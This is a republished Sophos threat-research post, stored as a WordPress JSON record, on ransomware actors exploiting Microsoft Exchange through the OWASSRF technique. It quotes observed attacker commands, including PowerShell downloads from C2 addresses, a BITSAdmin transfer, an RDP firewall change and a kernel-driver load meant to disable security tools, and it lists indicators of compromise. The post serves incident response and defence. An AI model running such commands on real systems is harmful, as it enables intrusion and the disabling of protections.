{"id":21487,"date":"2023-03-15T11:21:02","date_gmt":"2023-03-15T19:21:02","guid":{"rendered":"https:\/\/www.palada.net\/index.php\/2023\/03\/15\/news-15218\/"},"modified":"2023-03-15T11:21:02","modified_gmt":"2023-03-15T19:21:02","slug":"news-15218","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2023\/03\/15\/news-15218\/","title":{"rendered":"Observing OWASSRF Exchange Exploitation\u2026 still"},"content":{"rendered":"<p><strong>Credit to Author: Angela Gunn| Date: Wed, 15 Mar 2023 16:45:56 +0000<\/strong><\/p>\n<div class=\"entry-content lg:prose-lg mx-auto prose max-w-4xl\">\n<p>Late last year, Sophos X-Ops responded to exploitation of what appeared to be the ProxyNotShell attack flow, which targets Microsoft Exchange servers, and which Microsoft attempted to address in an early-November patch. That patch targeted two vulnerabilities, CVE-2022-41080 and CVE-2022-41082, which when attacked could result in remote code execution on vulnerable systems.<\/p>\n<p>Right before the December holidays, however, X-Ops\u2019 MDR team saw additional exploitation campaigns against Microsoft Exchange servers, leveraging (nearly) the same two vulnerabilities. This was followed by sustained activity in January, including attacks on high-profile entities <a href=\"https:\/\/www.esecurityplanet.com\/threats\/rackspace-breach-linked-to-new-vulnerability\/\">such as RackSpace<\/a>, leading up to a law-enforcement takedown of the Hive network and its infrastructures. This network has been <a href=\"https:\/\/www.trendmicro.com\/en_us\/research\/22\/i\/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html\">linked<\/a> in the past to the PLAY ransomware, which makes use of the OWASSRF technique associated with the two vulnerabilities. However, additional ransomware entities, such as Cuba, have also been seen making use of the flaw, and some reports suggest that PLAY shares infrastructure with yet other ransomware groups such as Quantum as well as the SVCReady and Emotet botnets.<\/p>\n<p>The situation was both tangled and active, and by the end of January, the US Cybersecurity and Infrastructure Security Agency (CISA) had taken the strong step of <a href=\"https:\/\/www.cisa.gov\/uscert\/ncas\/current-activity\/2023\/01\/10\/cisa-adds-two-known-exploited-vulnerabilities-catalog\">ordering<\/a> federal executive-branch agencies to apply the available patches, strongly recommending that other organizations do the same.<\/p>\n<p>This post details some of our observations and provides visibility into current indicators of compromise associated with the attacks.<\/p>\n<h3>Prologue: CVE-2022-41040 and CVE-2022-41082<\/h3>\n<p>The two vulnerabilities in Microsoft Exchange Server that made ProxyNotShell possible were first <a href=\"https:\/\/news.sophos.com\/en-us\/2022\/10\/03\/two-exchange-server-vulns-veer-dangerously-close-to-proxyshell\/\">publicly flagged<\/a> in October, though attacks in the wild were underway not later than midsummer of 2022. The attack based on the pair was dubbed \u201cProxyNotShell\u201d by the industry at large, for its similarity to the notorious <a href=\"https:\/\/news.sophos.com\/en-us\/2021\/08\/23\/proxyshell-vulnerabilities-in-microsoft-exchange-what-to-do\/\">ProxyShell attacks<\/a> of 2021 \u2013 in both cases, a server-side request forgery (SSRF) attack followed by remote code execution (RCE). In response, Microsoft <a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2022\/09\/30\/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082\/\">released<\/a> first a hotfix, then a patch that provided URL Rewrite rule improvements.<\/p>\n<h3>The Holiday Rush<\/h3>\n<p>Unfortunately, these improvements were swiftly bypassed by a technique dubbed \u201cOWASSRF\u201d by <a href=\"https:\/\/www.crowdstrike.com\/blog\/owassrf-exploit-analysis-and-recommendations\/\">CrowdStrike<\/a> and <a href=\"https:\/\/www.logpoint.com\/wp-content\/uploads\/2023\/02\/et-the-play-report.pdf\">LogPoint<\/a> researchers, among many others. It is an awkward but descriptive moniker: The OWASSRF technique once again chains two CVEs \u2013 CVE-2022-41080 allows an SSRF-like privilege escalation against an Outlook Web Access (OWA) endpoint, replacing CVE-2022-41040\u2019s SSRF against an AutoDiscover endpoint on an Exchange server; CVE-2022-41082 allows RCE as it did before &#8212; to achieve a ProxyShell \/ ProxyNotShell-style attack via OWA.<\/p>\n<p>On November 26, Sophos MDR Operations began responding to novel Microsoft Exchange exploitation efforts that resembled ProxyNotShell. The Sophos MDR team observed post-compromise activity in multiple unique environments. In all cases, the threat actor was evicted prior to successfully completing the attack. Unit 42 also reported <a href=\"https:\/\/unit42.paloaltonetworks.com\/threat-brief-owassrf\/\">eight incidents<\/a> with similar observations around that time.<\/p>\n<p>During December 2022, CrowdStrike <a href=\"https:\/\/www.crowdstrike.com\/blog\/owassrf-exploit-analysis-and-recommendations\/\">published research<\/a> about a ProxyNotShell bypass identified during a PLAY ransomware incident. Unit42 also continued <a href=\"https:\/\/unit42.paloaltonetworks.com\/threat-brief-owassrf\/\">to report<\/a> multiple incidents with similar observations. In this timeframe, the MDR Operations team observed a variety of activities spawning from the IIS Worker Process (w3wp.exe) following successful exploitation with OWASSRF. This led to the execution of encoded PowerShell commands, reconnaissance via domain logging tools, usage of BITSAdmin for file transfers, attempted installation of dual-use agents, and enablement of remote connections.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-01-1.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-90527\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-01-1.png\" alt=\"Code snippet of OWASSRF's poc.py tooling\" width=\"640\" height=\"374\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-01-1.png 1243w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-01-1.png?resize=300,175 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-01-1.png?resize=768,449 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-01-1.png?resize=1024,598 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p><em>Figure 1: A snippet of the threat actor\u2019s OWASSRF exploitation tooling (poc.py). Among other findings, we noted that the email address owa\/mastermailbox&lt;at&gt;outlook.com occurred in multiple POST requests made to the Exchange servers in question.<\/em><\/p>\n<p>As stated above, we saw encoded PowerShell commands spawning from w3wp. These encoded commands spawned child processes that performed the following actions:<\/p>\n<ul>\n<li>Used the native Windows binary \u2018nslookup\u2019 with a DNS logging service for reconnaissance:\n<ul>\n<li>nslookup &lt;subdomain&gt;.dnslog[.]cn<\/li>\n<\/ul>\n<\/li>\n<li>Created the user \u2018Admon\u2019<\/li>\n<li>Leveraged BITSAdmin to download multiple dual-use agents such as ScreenConnect and AnyDesk from 4sync[.]com, anonfiles[.]com:\n<ul>\n<li>bitsadmin[.]exe \/transfer JobName \/download \/priority FOREGROUND<\/li>\n<\/ul>\n<\/li>\n<li>Used the PowerShell cmdlet invoke-webrequest to write files to the local device, along with PowerShell curl requests to various IPv4 addresses:\n<ul>\n<li>powershell invoke-webrequest -uri http:\/\/&lt;IPv4&gt;:&lt;port&gt;\/&lt;filename&gt; -outfile &lt;filename&gt;.msi<\/li>\n<li>powershell curl &lt;IPv4&gt;:&lt;port&gt;<\/li>\n<\/ul>\n<\/li>\n<li>Leveraged a renamed copy of PuTTy Link, which was used to establish a remote connection:\n<ul>\n<li>C:ProgramDatapta.exe<\/li>\n<\/ul>\n<\/li>\n<li>Set a rule in the Windows Advanced Firewall to allow traffic for remote desktop:\n<ul>\n<li>netsh advfirewall firewall set rule group=&#8221;remote desktop&#8221; new enable=Yes<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Observed command-and-control (C2) IP addresses during this period included:<\/p>\n<ul>\n<li>179.60.149[.]28<\/li>\n<li>141.98.9[.]4<\/li>\n<li>91.191.209[.]222<\/li>\n<li>104.238.187[.]145<\/li>\n<li>45.77.101[.]240<\/li>\n<li>192.53.123[.]202<\/li>\n<li>206.125.147[.]98<\/li>\n<\/ul>\n<p>While investigating 179.60.149[.]28 back in December, Dray Agha from HuntressLabs <a href=\"https:\/\/twitter.com\/Purp1eW0lf\/status\/1602989967776808961\">recovered the exploit script<\/a> (poc.py), along with other post-compromise tooling. CrowdStrike researchers attempted to run the poc.py script against Exchange servers. They were able to replicate the exploit on Exchange servers that had not been updated to the latest November patch (KB5019758). However, this exploit could not be replicated successfully on servers running the November update.<\/p>\n<p><a href=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-02-2.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-90528\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-02-2.png\" alt=\"A flowchart showing multiple defenders observing, identifying, and investigating OWASSRF\" width=\"640\" height=\"341\" srcset=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-02-2.png 1072w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-02-2.png?resize=300,160 300w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-02-2.png?resize=768,409 768w, https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/figure-02-2.png?resize=1024,545 1024w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p><em>Figure 2: Multiple defenders have been working to observe, identify, report, and analyze OWASSRF in its various aspects<\/em><\/p>\n<h3>An Attempt to Turn the Tables<\/h3>\n<p>Over the course of the last half of December 2022, Sophos observed new threat actor activity following the OWASSRF mitigation bypass. Given the tools, tactics, and procedures used, we believe this threat actor intended to deploy ransomware. (As noted above, they failed.) As one would expect from malware of this type, we saw varied use of living-off-the-land binaries (LOLbins), including the perpetually abused PowerShell, PsExec, and RDP. Legitimate-but-abused third-party tools included WinRAR.<\/p>\n<p>After exploiting vulnerable Exchange servers, the attackers used encoded PowerShell commands to write GoToAssist Remote Support and multiple other malicious files to the %PROGRAMDATA% folder:<\/p>\n<ul>\n<li>C:programdataga.exebaidu<\/li>\n<li>C:programdataadd64s.exe<\/li>\n<li>C:programdataaddp.dll<\/li>\n<li>C:programdatakomar65.dll<\/li>\n<\/ul>\n<p>Note the last item on this list. In February 2022, Mandiant published <a href=\"https:\/\/www.mandiant.com\/resources\/blog\/unc2596-cuba-ransomware\">research<\/a> about incidents in which malware using the naming schema \u201ckomar&lt;.&gt;dll\u201d (with an apparently random number appended) was observed prior to Cuba ransomware deployment. These findings were later echoed by CISA.gov\u2019s Cuba <a href=\"https:\/\/www.cisa.gov\/uscert\/ncas\/alerts\/aa22-335a\">information roundup<\/a>. (Interesting fact: While \u201ckomar\u201d is the Russian word for \u201cmosquito,\u201d the Komar designation might be more familiar to some readers as the NATO reporting name for a class of guided-missile patrol craft used by the Soviet Navy, Cuban Revolutionary Navy, and others. A Komar-class craft was the first to sink another ship using anti-ship missiles.)<\/p>\n<p>PLAY likewise takes aim at defenders, attempting to disable antimalware and logging tools in use, including Microsoft\u2019s own Windows Defender features (in that case via PowerShell). After the DLL files listed above triggered Cobalt Strike detections, the threat actor even attempted to leverage tools to disable Sophos protections, including an attempt to bring their own driver file:<\/p>\n<ul>\n<li>C:WindowsTempsophos_k.exe<\/li>\n<li>C:Users&lt;user&gt;AppDataLocalTempdRVag.sys<\/li>\n<\/ul>\n<p>The Windows Service Control Manager program was executed to load this driver:<\/p>\n<ul>\n<li>cmd.exe \/c sc create dRVag binPath= %TEMP%dRVag.sys type= kernel start= demand<\/li>\n<\/ul>\n<p>This driver file uses a code-signing certificate from Beijing Kate Zhanhong Technology Co.,Ltd. that has been used in conjunction with malware the past, most notably with <a href=\"https:\/\/decoded.avast.io\/martinchlumecky\/dirtymoe-3\/\">DirtyMoe<\/a>.<\/p>\n<p>For more research from Sophos X-Ops on the rise of signed-driver malware, please see \u201c<a href=\"https:\/\/news.sophos.com\/en-us\/2022\/12\/13\/signed-driver-malware-moves-up-the-software-trust-chain\/\">Signed driver malware moves up the software trust chain<\/a>.\u201d<\/p>\n<h3>Mitigations<\/h3>\n<p>Existing mitigations are in place for those running on-premises Exchange servers, which are covered by Microsoft\u2019s November 8, 2022 cumulative update (<a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-8-2022-kb5019758-2b3b039b-68b9-4f35-9064-6b286f495b1d\">KB5019758<\/a>). Release versions can be found <a href=\"https:\/\/learn.microsoft.com\/en-us\/exchange\/new-features\/build-numbers-and-release-dates?view=exchserver-2019\">here<\/a>. It\u2019s important to note that even though the Microsoft patch has been on offer for over a quarter of a year, there are unfortunately plenty of unpatched Exchange servers at risk. (It has been suggested that this was initially a communication failure, as Microsoft had incorrectly marked the CVE-2022-41080 patch as an elevation of privilege issue, not RCE, though the company corrected the error in later communications.) Worse, ransomware writers are adapting, using hands-on-keyboard techniques to navigate targeted systems, as we\u2019ve shown above. Patching, log monitoring, and vigilance should both be considered core defenses as the situation evolves.<\/p>\n<p>A full list of Indicators of Compromise related to this analysis has been published to the <a href=\"https:\/\/github.com\/sophoslabs\/IoCs\">IoC directory<\/a> on SophosLabs\u2019 Github.<\/p>\n<h3>Acknowledgements<\/h3>\n<p>Thanks to Daniel Souter of Sophos X-Ops for contributing to this analysis.<\/p>\n<\/p><\/div>\n<p><a href=\"https:\/\/news.sophos.com\/en-us\/2023\/03\/15\/observing-owassrf-exchange-exploitation-still\/\" target=\"bwo\" >http:\/\/feeds.feedburner.com\/sophos\/dgdY<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/news.sophos.com\/wp-content\/uploads\/2023\/03\/shutterstock_1253839756.jpg\"\/><\/p>\n<p><strong>Credit to Author: Angela Gunn| Date: Wed, 15 Mar 2023 16:45:56 +0000<\/strong><\/p>\n<p>ProxyNotShell continues to make waves as November 2022 fixes fail to contain SSRF tactic<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10378,10377],"tags":[28870,27917,17775,28871,28872,19566,28095,16771],"class_list":["post-21487","post","type-post","status-publish","format-standard","hentry","category-security","category-sophos","tag-cve-202-41082","tag-cve-2022-41080","tag-exchange-server","tag-owa","tag-owassrf","tag-play","tag-proxynotshell","tag-threat-research"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/21487","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=21487"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/21487\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=21487"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=21487"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=21487"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}